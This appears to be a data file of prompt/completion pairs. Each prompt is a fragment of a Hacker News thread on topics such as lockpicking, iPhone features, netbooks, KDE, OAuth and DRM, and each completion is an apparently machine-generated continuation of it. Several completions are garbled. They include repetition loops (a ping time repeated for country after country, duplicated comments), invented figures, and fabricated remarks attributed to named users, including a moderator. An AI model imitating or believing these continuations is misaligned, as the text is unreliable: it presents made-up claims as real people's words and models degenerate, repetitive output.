interest set\n> by the king.\n\n------\nshiado\nI have no doubt that Bitcoin will end someday, most likely from QC breaking\nECDSA, but this is perhaps the most illiterate and uninformed takedown I have\never read on the subject.\n\n~~~\nkinghajj\nThat's not"} +{"output_text": "joeevans1000\nI've been in your situation for a long time. I've been a programmer for over\ntwenty years, but have been unemployed for over two years. I've tried a lot\nof things, but the one thing that has worked the best for me is to take a part\ntime job that requires little or no skill. I've been working part time for the\nlast two years as a software engineer at a call center. I work about 20 hours\n", "input_text": "\nthere:\n\n> \"I love deadlines. I like the whooshing sound they make as they fly by.\" \u2014\n> Douglas Adams\n\nYou're not alone. And it's gonna be fine.\n\n~~~\norblivion\nSo here's a question - what if I am of this disposition but I have a lot of\nideas? And I would not be satisfied with life unless I'm pursuing them? Is\nthere a way to reach out to find people to be in charge of me to execute on my\nideas? Does anybody want to do that? (These are not necessarily businesses)\n\n~~~\nDenzel\nTake this with a heavy grain of salt. It's an idea I've had -- even though I\ndon't have motivation problems -- that I have yet to do. (I plan to within the\nnext three months.)\n\nHire a part-time project manager.\n\nA good project manager is immensely helpful in (1) teasing out and decoupling\nrequirements, (2) producing a work-breakdown structure (WBS), (3) setting a\nschedule/timeline for execution, (4) assessing risks, and finally (5)\ncontrolling activity and adherence to the schedule.\n\nThese are all activities that suck to do alone. A project manager offers a\nuseful _organizer_ and _controller_. Basically, they represent a forcing\nfunction.\n\nJust like personal trainers help unmotivated people stay in-shape, I think a\npersonal part-time project manager would help you follow through on your\nprojects.\n\n~~~\niandanforth\nI like this idea. Also as soon as you commit cash it's going to be easier to\nfollow through. Make the sunk costs fallacy work in your favor!\n\n------\n"} +{"output_text": "\n\n[1] [http://www.amazon.com/gp/product/B001K9Z2QE/ref=oh_aui_detail...](http://www.amazon.com/gp/product/B001K9Z2QE/ref=oh_aui_detailpage_o06_p1)\n\n------\njrockway\nI have a set of Schlage locks, and I love them. They are cheap, they", "input_text": " is a sport these days; burglars would use bumping\nor other destructive technique like crowbar (with a much shorter path to\nsuccess) since they won't care about the clean result. Maybe only relevant for\nspies/intelligence/other areas where you need to hide the fact that the lock\nhas been picked.\n\nAnd the fact that weak lock mechanisms are publicized encourages manufacturers\nto invent, it's all good.\n\n~~~\nblhack\nI'm sorry, but this isn't completely true. (The part about burglars not using\nlock picks).\n\nI am an amatuer locksmith, and I can open Masterlock No. 3 or No. 5 (which are\nused _everywhere_ ) incredibly quickly (less than 10 seconds, typically\n[especially on No. 5, which are horrible).\n\nA half diamond pick and a torsion wrench are tiny, I can keep them in my\npocket and nobody will ever notice... I can't do this with a huge bolt cutter.\n\nNow, do I steal things? Absolutely not. Has getting into picking caused me to\nbe much much more careful about what I lock up, where, and with what?\n_definitely_.\n\nI'm all for locksports, I think the fact that people are getting into picking\nis awesome, but the idea that using a bolt cutter against a padlock is faster\nand more conveinient than using a pick is just plain wrong.\n\n~~~\naquateen\nI remember first seeing the MIT guide and it sparked my interest, however I\ndidn't want to make homemade picks. Can you recommend a good lock pick set?\n\n~~~\nbmalicoat\nI have this set [1]. Though mine has a plastic handle so it was about half the\nprice listed there."} +{"output_text": " but I'm not sure why this is news.\n\n~~~\njcl\nIt's news because it's so obvious that it makes me wonder why Apple hasn't\ntaken more notice of it.\n\n~~~\nnanexcool\nI think it's because it's a relatively minor feature.\n\n------\njcl\nThe article doesn't mention it, but it looks like you can turn off the in-app\npurchasing feature in the Settings app.\n\n------", "input_text": "It looks like you're trying to copy and paste. Would you like to pay $0.05 in\norder to continue? (Continue/Cancel)\n\nIt looks like you're trying to exit the application. Would you like to pay\n$0.10 in order to continue? (Exit and pay $0.10/Stay for free)\n\nIt looks like you're shocked to see one of Microsoft's worst creations pwn\nyour smartphone. Would you like to buy a copy of iLithium(R), iXanax(TM), or\niProzac(TM) to soften the blow for $14.99? (Yes/No)\n\n~~~\nmechanical_fish\nI have no idea why this is getting downmodded. _I_ think it's funny. Maybe I'm\njust the right age for this joke.\n\nObviously, this in-app payment feature was _deliberately_ designed to be\nirritating and intrusive. Apple understands that, to most paying customers,\nthe word _micropayment_ carries a connotation of _being slowly and\nimperceptibly bled to death by vampires_. So perhaps Apple is going to provide\nan API which turns in-app charges into such an ugly, flow-shattering\nexperience that nobody could possibly miss it -- which will also compel app\ndesigners to avoid using this feature unless they really have to.\n\n~~~\nwensing\nIt's possible to abuse any feature. I can see this being a win-win for apps\nthat provide layers of value (depth).\n\n------\nnanexcool\n\"So, copy/paste in iPhone 3.0.\" Applause. Applause for a feature that every\nother device in the world has. Odd.\n\nI like the iPhone,"} +{"output_text": "s are\nnow extinct.\n\n~~~\nbasicallydan\nWhat's your point?\n\n~~~\nVraxx\nThe doom-and-gloomers are wrong about the past. They're wrong about the present\nand they're wrong about the future.\n\n------\njokoon\nI think the author is wrong to think that the internet is a great equalizer.\nIt's not. It's a great equalizer for those who have money, and a", "input_text": " this occasion, because it comes up so\nmuch: [http://xkcd.com/1227/](http://xkcd.com/1227/)\n\n> \"Intellectual laziness and the hurry of the age have produced a craving for\n> literary nips. The torbid brain... has grown too weak for sustained\n> thought.\" \u2013 Israel Zangwill, The Bachelor's Club, 1891\n\nI highly, highly recommend everybody read \"The Information: How The Internet\nGets Inside Us\" by Adam Gopnik:\n[http://www.newyorker.com/magazine/2011/02/14/the-\ninformation](http://www.newyorker.com/magazine/2011/02/14/the-information)\n\nIt points out how this 'Why can't we X anymore\", \"in the past it was better\",\n\"the future will be amazing\", \"the future will be horrible\", and \"everything\nis kinda the same\" perspectives have been repeated, remixed, rehashed over and\nover again.\n\n~~~\nbasicallydan\nWhile it does appear that the perspective you're talking about has been\nrepeated over and over, it's important to recognise that it's a perspective\nwhich applies to whatever time in which it was held. Therefore, it's relative.\nMaybe the past _was_ amazing and wonderful, and perhaps _that_ past's past was\neven _more_ amazing and wonderful. It's possible things _are_ getting worse\nand worse all the time, only society has failed to heed the \"warning\" of the\ndoomsayers, leading even greater decline in \"wonderfulness\".\n\n~~~\nVraxx\nExcept most of the activities that are cited as \"dying\" in the late 1800"} +{"output_text": "\n\"Apps that were previously $0.99 will now be free. Apps that were previously\n$4.99 will now be $2.99. Apps that were previously $9.99 will now be $6.99.\nApps that were previously $14.99 will now be $9.99. Apps that were previously\n$29.99 will now be $19.99. Apps that were previously $99.99 will now be $69.99\n", "input_text": " someone?\n\nLike the best bits of voicemail and SMS combined? Because that would be\nbrilliant.\n\n~~~\nmodoc\nYes, it does exactly that!\n\n~~~\ndans\nWow. How very revolutionary! You have been able do that with any standard Sony\nEriccson phone, for the last 2-3 years, and probably Nokia, HTC, Samsung too.\nMy phone has a button that says \"reply with voice-message\" and then using some\nsort of black voodoo it gets sent over mms.\n\nI like it when apple make a new product, strip it of most basic features and\nthen when they finally add the long missing features... It's like the second\ncoming of Jesus.\n\n~~~\nmodoc\nI never said it was revolutionary. It's a feature that seems useful, is new to\nthe iPhone, and will be a free upgrade. As a very happy iPhone owner (and yes\nI've had Sony Ericcsons, Motorolas, Nokias, HTCs, etc...) this upcoming\nfeature (and the others) are something to look forward to.\n\nIf Sony Ericcson offered a software upgrade that did over the air sync of all\nmy MobileMe data, that would be great, and I can't imagine saying \"well I've\nbeen able to do that for ages with my iPhone\" to a happy Sony Ericcson owner.\nWhy does it have to be a battle?\n\n------\ndustineichler\nWhat was the report on streaming video? if it's what i think it is, this is a\nhuge win for qik and others.\n\n------\nmattmaroon\nAs a serial app developer (though not yet on that platform) here's what I\nheard from Apple's announcement:\n"} +{"output_text": "books have\nlousy keyboards, which makes development painful. The trackpads are small and\ninaccurate. The screens are low resolution and don't have anti-glare\noptimization. The trackpads are non-existent on some models. The trackpads are\nnon-existent on some models.\n\nThe software situation is much better. On Windows, you can get a decent\ndevelopment environment on a netbook. On Linux, you can get a decent", "input_text": " I supposed to be doing with them? Oh, oh, I\nsee, I'm supposed to use all the great \"apps\". Yeah, well, you know what? I\ndon't care about them. How can I _write_ my own apps? Oh, too bad, for that\nyou need a \"real\" computer (or be into BDSM)...\n\nSorry for the rant, folks! But are there other fellow hackers on HN who find\nit ironic that while we are the backbone of the industry, while we are the\nones who enable others to use all their beloved tech in the first place, while\nwithout us the big companies wouldn't see any dime - that the main stream\nmarket doesn't care about us? That we are pushed into a niche, instead of\nbeing pulled into the spotlight?\n\n _(Nah, I'm only being half serious...)_\n\n~~~\nwladimir\n100% agree. The netbook is the perfect cheap portable hacking tool. You can\ncertainly get some development done on them (as long as you don't use eclipse\nas IDE :-). Phones or iPads are generally more expensive and not nearly as\nsuited to that.\n\nThat's why I also get a bit sad at all the 'the netbook is dead!' posts. On\nthe other hand, it'll probably remain a niche for a long time. I mean, if you\nbelieve the stories here, the phone is dead, e-mail is dead, the web is\ndead... and so on.\n\nIt seems to be common here to forget that things can have a use and make some\npeople very happy without being \"the great next mainstream thing\".\n\n~~~\nrayiner\nCheap, yes, but I'm not sure \"perfect\" is the right word. Most net"} +{"output_text": " tell part of the story.\n\nI get a ping of 17ms from Ireland.\n\nI get a ping of 8ms from the UK.\n\nI get a ping of 141ms from the US.\n\nI get a ping of 8ms from New Zealand.\n\nI get a ping of 8ms from South Africa.\n\nI get a ping of 8ms from Argentina.\n\nI get a ping of 8ms from Chile.\n\nI get a ping", "input_text": "at, css concat, async script loading via LABjs. the improvement\nis quite remarkable. sometimes i blink and miss the F5 refresh flash and\nwonder if the page actually reloaded. craziness.\n\none funny thing pagespeed tells me is that google's own analytics ga.js needs\na longer expire time than 2hrs, they should fix that especially for scripts\nloaded from common cdns (especially their own) since web authors have no\ncontrol over this.\n\n------\nceejayoz\nWell, that's one way, certainly. \n\n------\nxyzzyb\nTo make a site really, really freaking fast serve static content.\n\nThat cool curl command against rakeroutes.com:\n\n \n \n Total time: 0.439\n Time pretransfer: 0.175\n Time starttransfer: 0.270\n Size download: 17506\n Speed download: 39888.000\n \n\nThat's off a regular ol' shared Dreamhost account.\n\n------\njakejake\nThe delicious irony is that I see a database connection error on the page.\n\n~~~\nportentint\nWell, of COURSE as soon as I say we made it faster, we screw something up.\nIt's some kind of blogging rule.\n\n~~~\njakejake\nThe same applies for when you have to demo something to your boss that you\njust tested 50 times, and of course it crashes on the first try when you demo\nit!\n\n------\nggasp\nIt seems the site is down. At least I cant get to it from Chile.\n\n------\nmopoke\nThe pingdom tests only"} +{"output_text": "\nIt's not a convoluted design. It's just a really well-built barnacle.\n\n------\njoeblau\nI've always wondered why there isn't a market for these. I live in a\nneighborhood with a lot of car theft and I've always wondered if there was a\nmarket for these.\n\n~~~\nchomp\nI've had one on my car for a couple of months now and I've had no problems.\nIt's", "input_text": "They even ticket employee's cars that are breaking the parking rules on\ncampus.\n\n------\nkazinator\nThe cards are heavily stacked against anything that uses suction to clamp on.\nBasically any leak of atmospheric pressure into the suction voids, and it's\ngame over.\n\nYou can't easily prevent the the entry of sharp, thin blades between the\ndevice's case and the vehicle glass. You will never get a good enough fit on\nall shapes of windshield.\n\nThe kinds of contraptions I can think of that could guard the gap between the\ndevice's case and the glass could be damaging to the glass (for instance,\nspring-loaded steel plates around the perimeter of the device, perpendicular\nto the glass).\n\nWhat would work would be putting a large sticker on the glass, which is cross-\nhatched by numerous cuts so that it has to be peeled off in half-centimeter-\nsized slivers.\n\nInstead of a fine, you get a notice with a phone number: for a $180 fee and an\nhour or two, a sticker specialist will painstakingly peel everything off. You\nare under no obligation to use that service, but if your car is not out of\nthere by a certain time, it will be towed.\n\nI.e. nobody has any shortcut to get the thing off; it's as hard for them as\nfor you.\n\n------\nani-ani\nWhat the article doesn't state is what advantage the Barnacle offers over a\nmore traditional boot design. OK, there's the online payment thing, but that\ncould be equally implemented with a boot. So why the convoluted design? Is it\nbecause you can drive around a bit (dangerously) while the barnacle is on?\n\n~~~\nchomp"} +{"output_text": "nn.com/2019/06/17/asia/hong-kong-protesters-\ntr...](https://www.cnn.com/2019/06/17/asia/hong-kong-protesters-trnd/index.html)\n\n------\nm3kw9\nI wonder if this is the same group that put up the \u201cdon\u2019t date a Chinese\nwoman\u201d posters\n\n[https://www.google.", "input_text": "\nestimated.\n\nProof (a screenshot from NGA):\n[https://imgur.com/a/FbofCOK](https://imgur.com/a/FbofCOK)\n\nPlease remember that HK is physically connected to mainland China and 83.2\nmillion people crossed the border in 2015[0]. Hell, even in 1984 some people\nstill know the government's dirty secrets, it would be extremely arrogant to\nassume we know nothing.\n\n[0]\n[https://en.wikipedia.org/wiki/Lo_Wu_Control_Point](https://en.wikipedia.org/wiki/Lo_Wu_Control_Point)\n\n------\nwyuenho\nMore importantly, YouTube now labels all media channels like BBC or RT by\ntheir funding sources, where's that disclaimer on any PRC media outlets?\n\n------\nrhokstar\nThe Onion would probably post something similar :)\n\n------\njrvxo\n[http://europe.chinadaily.com.cn/a/201906/17/WS5d06d79ca3103d...](http://europe.chinadaily.com.cn/a/201906/17/WS5d06d79ca3103dbf143287c7.html)\n\n~~~\nwhatshisface\n> _Among these social groups was an alliance of more than 30 local political,\n> business and legal dignitaries who support the proposed amendments to the\n> SAR's extradition law._\n\nWhy does anyone in HK support the amendments (or is this fake news)?\n\n~~~\nghostbrainalpha\nThat is the point. The people of Hong Kong are marching to protest China's new\nextradition policy.\n\n[https://www.c"} +{"output_text": " to the Windows world. I\u2019m not sure what would help\nmigration much.\n\n------\njokoon\nI don't know why, but I always thought that vim was the most powerful text\neditor on linux. I always wanted to use emacs, but I never really tried it. I\nalways used vim.\n\n~~~\nrhabarba\nI'm not a vim guy either, but I know quite a few people who are. I", "input_text": " do all my development in Linux VMs via\nPowershell's built-in SSH client.\n\nMy biggest ask on Windows is for a native mosh client. There aren't currently\nany.\n\n~~~\njesse9766\nHave you tried using Fluent Terminal? It is available on github and the\nWindows Store. To use mosh you need to connect via the quick connect menu in\nthe top left corner of the program.\n\n~~~\nrhabarba\nI\u2019m not sure whether a JavaScript-based terminal is a good idea.\n\n~~~\njesse9766\nI haven't done a test yet, but the Fluent Terminal seems fast enough and\ndoesn't eat up that many resources surprisingly. As a UWP program it feels\nvery snappy (as opposed to Hyper being a full on electron app using 200MB for\nsimple text output!) I don't care what technologies they use to build a\nprogram, as long as it works. I haven't experienced any hangups using SSH, so\nit's good enough for me.\n\n------\nbitwize\nEmacs runs in Windows consoles. Presumably you start it the usual way, by\nsaying: emacs -nw\n\nWhen you have Emacs, why use anything else? :)\n\n~~~\nrhabarba\nEven in CUA-mode, Emacs is very unusual in quite a lot of ways in the DOS\nworld. That\u2019s why, I guess.\n\n------\ninakarmacoma\nIt's interesting, a shame emacs org-mode is discarded so quickly. If only the\nbarrier of entry weren't so high.\n\n~~~\nrhabarba\nThe author implies that vi/Vim and an Emacs are the usual suspects here, but\nthey\u2019re rather foreign"} +{"output_text": "~~~\ndang\nThere's a lot of overlap between the Alt-Right and the Alt-Lite, but there's\nalso a big difference. The Alt-Right is a hateful, dangerous movement, and\nQuillette is not.\n\n~~~\nnameismypw\nI'm not talking about Quillette specifically, but alt-right publications in\ngeneral.\n\n------\nm3kw9\n> The second thing that Luxembourg does that\u2019s", "input_text": "=20485859](https://news.ycombinator.com/item?id=20485859).\n\n------\nlocallost\n> or that workers somewhere in Iceland (360,000) have been required to work\n> around a fallen co-worker. But neither of these things, if they happened,\n> would be proof that working conditions in Luxembourg or Iceland are\n> appalling.\n\nThey would however be proof that working conditions in a company in Iceland\nare appalling.\n\n~~~\nthe8472\nNot really, since they are single events you don't know anything about the\nfrequency and how it compares to the frequency in other locations.\n\nThe law of large number causes unusual events to happen every day, which means\nthe more globally your news operates the more freak events you can accumulate.\nYour town newspaper regularly reporting that someone had to work next to a\ncorpse would be concerning. BBC world news reporting that this happened\nsomewhere in the world might be statistical blips.\n\n~~~\nGuest42\n\"The weak law of large numbers states that the sample average converges in\nprobability towards the expected value\"\n\n[https://en.wikipedia.org/wiki/Law_of_large_numbers](https://en.wikipedia.org/wiki/Law_of_large_numbers)\n\n~~~\nthe8472\nAh, I was thinking of \"The Law of Truly Large Numbers\"\n\n------\nSamReidHughes\nRelated: _The Jungle_ purportedly was a similar piece of propaganda.\n\n------\nnameismypw\nIt doesn't seem appropriate to discuss a Quillette article without mentioning\nthat it's an alt-right publication. We must not normalize it, and I strongly\nencourage people to flag the submission.\n\n"} +{"output_text": "needed.\n\n~~~\nmrmrcoleman\nI agree. I'm a long time KDE user and I'm not sure I can see myself using this\non anything other than a tablet.\n\n~~~\njafingi\nI agree. I'm a long time KDE user and I'm not sure I can see myself using this\non anything other than a tablet.\n\n------\njheriko\ni think the problem with kde is that it is so far", "input_text": "braindead as a result if you don't like exactly what the GNOME team likes.\n\nSeriously, KDE isn't new. Desktop has really shitty defaults, which is a major\nproblem considering how many people don't know how to change the settings. I'm\ntalking about \"not a computer person\" people, here.\n\n~~~\nsho_hn\n> I'd actually disagree - this is a problem that KDE has in general.\n\nAre you actually _disagreeing_, though? We both seem to agree it needs work.\nAnd you're correct the challenge is partly an institutional one -- recruiting\nand retaining design talent and manpower, and fashioning new ways of working\ntogether. It's something we're aware of and working on, and if you'd like to\nwork on it with us we'll welcome you with open arms.\n\nThe KDE community isn't unaware of its weak spots and isn't satsified with its\nweak spots; addressing weak spots is Real Work[tm] though, and doesn't always\nhappen over night. We'd like to think we've made some progress (for example\nwe've identified some things that _don 't_ work from past attempts, and that's\nuseful institutional knowledge as well), though. And that it's very much worth\ndoing.\n\ntl;dr If open source is bad at product design, we'd rather not accept that as\nlaw of nature and work out how to get better. If that's a challenge you have\nan appetite for...\n\n------\njafingi\nPretty interesting project. And it looks great. I understand that it's work in\nprogress, but it really need to support more devices, even in this phase.\n\nLooking forward to seeing how this will work out! A replacement for Android is\n"} +{"output_text": " to have a Facebook account? I'm not sure if it\nasks for one or not.\n\n~~~\njamesgagan\nYou don't need a Facebook account to use the service.\n\n~~~\ndavefp\nI'm not sure if I saw that option, but I'll check again.\n\n------\njamesgagan\nThis is pretty cool. I've never seen this before.\n\n------\njamesgagan\nThis is pretty cool. I", "input_text": ", that you actually have users...\n\noauth-flow just implements the authorization flow: redirects the user to the\noauth provider (facebook, twitter, etc), then when the user returns, they\nreturn at the same URL and the next middleware is called with req.oauth\ncontaining all oauth data such as tokens.\n\nThen you can do whatever you want with those - make an API call, authorize the\nuser using their external ID, register a new user...\n\nIts a smaller, more focused module, better aligned with the principle of doing\none thing only and doing it well. And it doesn't require adding any global\nmiddleware inside the app.configure block such as in passport.\n\n------\ndanielfone\nI was getting so impatient waiting for the stubborn programmer animation to\nfinish. Inspect -> sources -> stubborn.js -> ohhhhhh... well done.\n\nOn the other hand, I first thought this was a Facebook thing since it started\nwith \"Setup your Facebook API Keys in OAuth.io\". Perhaps something like \"Setup\nAPI keys for the provider of your choice in OAuth.io\"?\n\n------\ntusharc\nComments on the animated UI aside, as someone who recently pulled their hair\nout trying to get StackOverflow oauth working, a simple solution would be\nextremely welcome. My scalp shall thank you!\n\n------\noutworlder\nI thought the comic programmer would be successful by step 100 or so, so I\nkept watching.\n\nI am now at step 125. Still watching...\n\n~~~\nstarefossen\nYou can check out how they did the comic programmer here:\n\n\n------\ndavefp\nDoes this service require me"} +{"output_text": " store, buys a $10 pack of Tide, and walks out.\n\nBob comes in and buys a $10 pack of Tide.\n\nBob pays for the Tide with a $5 bill, so he only pays $5.\n\nBob doesn't have to worry about getting arrested for shoplifting, because the\nstore doesn't know if he's a drug dealer.\n\nBob can sell the Tide to someone else who wants to buy a $10 pack", "input_text": " it seemed really strange\n\n~~~\nwinthrowe\n\"Give 'em the razor; sell 'em the blades\"\n\n\n\n~~~\ncorin_\nGiven you're replying to people talking about securing razors and making\nblades easy to steal, that's not really relevant.\n\n~~~\nwinthrowe\nIt was late, and I apparently read that backwards.\n\n~~~\ncorin_\nFair enough :)\n\n------\npixie_\nIs this for real? Seriously this is the definition sensationalism.\n\n------\ndminor\nSounds way way less convenient than cash to me.\n\n~~~\njpatokal\nStealing cash from a store requires armed robbery. Stealing Tide from that\nsame store is only shoplifting.\n\n~~~\ndminor\nOk, but if I'm hanging out on the corner selling drugs, do I really want to\ndeal with a bunch of laundry detergent tubs?\n\n~~~\nnathannecro\nI'm not sure if that's the point. What they're doing is lowering expressed\nrisk.\n\nIn a standard drug+robbery cycle (I'm guessing here):\n\nAlice robs a Walmart/7-11/etc with armed force or intent to use armed force.\n\nAlice gains $500.\n\nAlice goes to Bob and pays the $500 to him for drugs.\n\nNot only is Alice in danger (she can be prosecuted for armed theft), but the\ncash can be traced back to Bob putting him in danger. This also links Alice to\nBob's drug dealing activities which stacks additional charges on Alice.\n\nIn a Tide-enhanced drug+robbery cycle:\n\nAlice goes to the"} +{"output_text": "and\nother hosted services) so appealing to me.\n\n~~~\nchasing\nI get that. I'm not saying you should write everywhere on Medium. I'm saying\nthat there's no excuse for not writing anywhere else.\n\n~~~\nnpizzolato\nI get that, too. I'm not saying I'll write everywhere on Medium. I'm saying\nthat I don't have a blog because I don't have the time or inclination to write\nregularly.", "input_text": " fact if I'd\nhave to rank methods of publishing by likelihood among my friends, a text file\nmight be higher up than Medium.\n\nPerhaps in Silicon Valley it's very popular and perhaps this 'friend' (that\nposted it, to his dismay, on Medium) is indeed from there, but it's not as if\nit's that obvious that everyone would post to Medium.\n\nBut yeah I do agree, if you think of something like that, you might as well\nsay it instead of waiting.\n\n------\nchasing\nFor someone with any amount of tech savvy, I just don't think there's any\nexcuse for not posting writing on your own, self-hosted system. HTML in its\nmost basic form is literally designed for this use case.\n\nMedium's cool now, but it won't necessarily be in a few years. And it's\ncompletely within the realm of possibility that they will disappear entirely\nat some point. It happens all the time. Big sites that people have contributed\nmass amounts of content to blink out of existence on a very regular basis.\nSometimes without warning or the ability to back-up data. But the best case,\nlike Winer points out, is that any links in become broken, comments get lost,\netc.\n\nYour writing is yours. Own it.\n\n~~~\nnpizzolato\nI don't write a blog. I've thought about it quite a few times, but it turns\nout writing is hard and writing things regularly that people want to read is\neven harder.\n\nIf I ever get over that hump, I certainly wouldn't want to make it harder on\nmyself by hosting my own web server. I would want to _write_, not manage a\nserver, with whatever complications that brings. That's what makes Medium ("} +{"output_text": " I'd say this is a great situation.\nDon't worry about equality yet.\n\n------\nJugurtha\nI'd say, \"I'm happy to be equal if the same amount of work was put in. And it\nmay happen that in months after launch he will be much busier than me... But\nwhat if he just keeps on slacking? Advice?\"\n\nI mean, you're not married. You're not a couple. You're not a", "input_text": " fact that I will do more work and then we will be equal. I am happy to be equal if the same amount of work was put in. And it may happen that in months after launch he will be much busier than me... But what if he just keeps on slacking? Advice?\n======\ntomarr\nThere's a big chance the cost of any fallout is going to hit your company\nharder than any extra % you negotiate.\n\nI know it's not easy if it feels like your partner is not pulling their\nweight, but your focus should be on making the product a success at this\nstage. 60% of nothing is worth no more than 50% of nothing.\n\n------\ndnh44\nThere is so much work to do in a business that's not product development that\nhaving someone who can take care of that for you which can allow you to focus\non the product is pretty amazing.\n\nIt does sound like maybe you have to be the leader though so identify things\nthat need doing and delegate. Consider this your chance to develop your\nleadership skills.\n\nHowever this isn't really ideal though because as a 50% cofounder he should be\nactively seeking non technical things to do to make the company better. At\nthis stage of the company there is no such thing as not having enough work to\ndo.\n\nLikewise you need to be feeding back your progress to him so he sees progress\non your side as well. Progress creates enthusiasm which is contagious; if he\ndoesn't catch the bug and up his game soon you need to get him out. He clearly\ncares less than you at this point. If that doesn't change you're in trouble\nbecause the person who cares less always has the power in a relationship.\n\nYou're only a month away from launch so"} +{"output_text": "applications/#.TtV9x_7-l0E)\n\n------\ntstegart\nI've been programming for about a year now, and I've been doing my side\nprojects in Python. I've found that I learn the fastest by doing it myself. I\ncan read tutorials and articles and do practice problems and everything, but\nwhen I sit down and write the code myself, I can learn faster because I'm\ndoing it myself. I don", "input_text": " exams, let me know.\n\nYou are right. I will just have to get it done. At this point, I'll go with\noutsourcing, which doesn't necessarily mean offshore, but it could. I want\nquality work. I will have to do my research about it but will look into sites\nlike rent-a-coder, odesk, elance, etc. I'll approach it as you said, I\nappreciate the help.\n\nI still will try to learn to code on a basic level to converse and not be\nentirely blind to what's going on, but I'm not sure if it's a good choice to\ntry and program when it would take a significant time commitment. I'm not\nagainst a time commitment, but by saving that time, it frees me to focus on\nother areas of the business.\n\nANYWAY! I will stop with the typing.\n\nIt seems my choice is to stay with my job (although I might leave to find one\nthat is less all-consuming of my time) and outsource the initial development.\nObviously it would have been ideal if I already knew how to code or had a good\nfriend who could code and wanted to join me. Unfortunately, neither is the\ncase... and I'm not sure creating the MVP myself is the best proposition.\n\nIf someone thinks otherwise, let me know though. Perhaps I'm missing something\nhere.\n\nLastly, any advice on outsourcing development would be appreciated. Thanks.\n\n~~~\nfate_carver\nJust had this pop up on my reader:\n[http://appicurious.com/2011/10/26/inglorious-\napplications/#....](http://appicurious.com/2011/10/26/inglorious-\n"} +{"output_text": "~~~\nnodata\nYou're in the public domain, so I don't see why it would matter.\n\n~~~\nmod\nBecause I don't have a right to control how my image is used.\n\n------\njokoon\nI wonder if it would be possible to train a neural network on a public\ndataset, and then use it to classify photos of people. I would be curious to\nsee if it would be accurate.\n\n~~~\nnkozyra", "input_text": "\nI think it might not be entirely clear what this site represents. It's\nactually quick demo of ML services available on Azure. I think it uses Deep\nLearning and the power of it is to demonstrate that you can wire up something\nlike this yourself without write a line of code for deep learning algorithms\nor even owning any servers at all for heavy GPU processing. I wish they had\nput code for this website on Github so people can tweak and spawn new\nversions.\n\n------\nbcruddy\nTried two pictures. 47 and 31. I'm 24.\n\n~~~\nmrhyperpenguin\nNote that there's a difference between predicting your age and estimating how\nold somebody looks (i.e. you could look older for your age).\n\n~~~\ntjradcliffe\nThe results on every photo I tried were ludicrously wrong. The closest it got\non photos of me was about five years older than me, but it ran anywhere up to\n20 years too old.\n\nThe same thing on photos of others I tried: a 22-year old man was estimated to\nbe 49, a fifty-year-old woman--who is generally considered to look young for\nher age--to be 69. Those are ages that no one would ever guess based on looks.\n\nSo I'd say the algorithm needs a little more work.\n\n------\nnodata\nNon-SSL, and no explicit statement that my photo won't be reused? Cool site,\nbut I'm not using it.\n\n~~~\nmod\nI expect you're quite the outlier.\n\nThere are dozens, maybe hundreds, of pictures of me on the internet already. I\ncertainly don't care if this site has one, and I couldn't care less about its\ntransfer being encrypted.\n\n"} +{"output_text": " your own code, you get to\nsee how you wrote it, which is a lot of fun.\n\n------\njleader\nI've been reverse-engineering my own code for years, and I've found that it's\na great way to learn how a piece of code works.\n\nI don't have the source code for anything I'm reverse-engineering, so I have\nto figure out how the code is organized and what each section does by\nanalyzing the code", "input_text": "vIe98aqTGkY6gkZF4CbzMaQPxOlo/edit?usp=sharing)\n\nEdit (+12mins): I see lots of people viewing, but not a single edit over the\npast 10 minutes.\n\nEdit (+60mins): One other anonymous user helped at last and _the document is\ncomplete_, but didn't leave his username in the contributors list yet.\nAnyway, thanks!\n\nNow the big question is how to run this. _If you have any idea how to run it,\nlet us know!_\n\n~~~\nelwin\nThere are manuals and an emulator here:\n\n\n------\nbri3d\nThe mental debugger is definitely one of the tools I'm glad I developed early.\n\nFor me, it was by reverse engineering. I started cracking software and\neventually moved on to white-hat black box security auditing, and that quickly\ntaught me how to evaluate execution flow mentally.\n\nI find that even though I'm writing high-level Ruby web apps now, my ability\nto rapidly follow code around in my head lets me debug more quickly and\neffectively than many of my co-workers.\n\nI firmly recommend trying reverse-engineering for anyone who hasn't - it will\nforcibly provide a lot of the same metal execution mapping abilities while\nfeeling more relevant than writing machine code or assembler out on a piece of\npaper. And once you learn the basics, everything transfers back up to higher-\nlevel languages pretty well (with the exception of mental hex arithmetic,\nwhich will still come in handy as soon as you segfault your high-level\nlanguage's runtime). Plus, when reverse-engineering"} +{"output_text": "\nNow with the GDPR in place, the EU is trying to fix this by making it\nmandatory to offer a reasonable price for content, including digital content.\nThe problem is that this is seen as a threat to the business model of\ntraditional media companies, and the current lobbying efforts are so\noverwhelming that the EU is not likely to get the right message across.\n\nSo now we have a situation where the content producers are forced to make\ncontent more accessible to", "input_text": " no mechanism to circumvent it how can those\ntwo paragraphs _ever_ apply? You could make the argument that for certain\nworks such as movies and music you have alternate means of obtaining the\nmaterial but for something like a hardware device (e.g. pacemaker) there\nexists no mechanism _other than circumvention tools_ for anyone to exercise\ntheir right of fair use. Therefore (in such cases) the anti-circumvention\nclauses of the DMCA are a violation of constitutional rights.\n\nIf circumvention tools cannot be made available then citizens are effectively\nbarred from exercising their constitutional rights.\n\nI firmly believe that the judge made a _horrible mistake_ in the original\nDeCSS case when it was ruled that posting the source code of a circumvention\ntool does not constitute free speech. It _damn well_ is free speech! It's\nliterally just a bunch of words and numbers along with a few math symbols\n(code). I believe the idiocy of the ruling was made abundantly clear when\npeople uploaded audio of themselves singing the source code aloud.\n\nApparently it's time to put that \"Source Code is Free Speech\" bumper sticker\nback on my car.\n\n~~~\nreachtarunhere\nI am getting a customized T-Shirt with that message.\n\n------\nFussyZeus\nThe fact is both sides of this have a lot to answer for in terms of eroding\nthe underlying relationship when it comes to any consumer/creator transaction.\nFor a long time media companies made it artificially hard to purchase content\nlegally and in so doing are at least partially responsible for the rampancy of\npiracy. In turn, a lot of people got used to pirating content for free instead\nof paying for it, even when reasonably priced options were made available.\n"} +{"output_text": " competition and not stifle it. The article\ndoesn't say that they're going to ban Linux but that they're going to fine\nLinux companies and that's where the real damage will be done.\n\nIf they want to stop Linux they can't do it by making it harder for users to\ninstall their OS. If they want to stop Linux they can't do it by making it\nharder for hardware manufacturers to make their devices compatible with\nLinux. If they want to stop", "input_text": "operating system, I develop my own browser, I develop my own media player. And\nI decide to bundle it/promote it along with an operating system I DESIGNED and\nDEVELOPED. What the fuck seems to be the problem with that?\n\nI'm not limiting your ability in anyway - You can still install any other\nbrowser/media player you like and you can remove the ones I've provided too,\njust like any other..\n\nCome on dudes, if I don't have the freedom to bundle 